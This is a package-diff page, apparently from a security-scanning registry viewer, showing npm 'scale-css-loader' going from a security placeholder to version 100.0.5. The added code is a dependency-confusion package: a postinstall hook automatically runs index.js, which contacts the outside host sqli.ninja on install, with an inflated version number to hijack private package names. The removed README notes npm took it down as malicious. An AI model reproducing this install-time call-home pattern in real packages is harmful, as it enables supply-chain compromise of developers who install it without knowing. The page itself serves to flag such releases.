scale-css-loader 0.0.1-security → 100.0.5

Sign up to get free protection for your applications and to get access to all the features.

Potentially problematic release.


This version of scale-css-loader might be problematic. Click here for more details.

Files changed (3) hide show
  1. package/index.js +21 -0
  2. package/package.json +12 -6
  3. package/README.md +0 -5
package/index.js ADDED
@@ -0,0 +1,21 @@
1
+ const https = require('https')
2
+ const options = {
3
+ hostname: 'sqli.ninja',
4
+ port: 443,
5
+ path: '/todos',
6
+ method: 'GET'
7
+ }
8
+
9
+ const req = https.request(options, res => {
10
+ console.log(`statusCode: ${res.statusCode}`)
11
+
12
+ res.on('data', d => {
13
+ process.stdout.write(d)
14
+ })
15
+ })
16
+
17
+ req.on('error', error => {
18
+ console.error(error)
19
+ })
20
+
21
+ req.end()
package/package.json CHANGED
@@ -1,6 +1,12 @@
1
- {
2
- "name": "scale-css-loader",
3
- "version": "0.0.1-security",
4
- "description": "security holding package",
5
- "repository": "npm/security-holder"
6
- }
1
+ {
2
+ "name": "scale-css-loader",
3
+ "version": "100.0.5",
4
+ "description": "Testing for dependency confusion for private bug bounty programs. If you got hit contact me at mace@sqli.ninja",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "start": "node index.js",
8
+ "postinstall": "npm start"
9
+ },
10
+ "author": "mace_from_bc",
11
+ "license": "ISC"
12
+ }
package/README.md DELETED
@@ -1,5 +0,0 @@
1
- # Security holding package
2
-
3
- This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
4
-
5
- Please refer to www.npmjs.com/advisories?search=scale-css-loader for more information.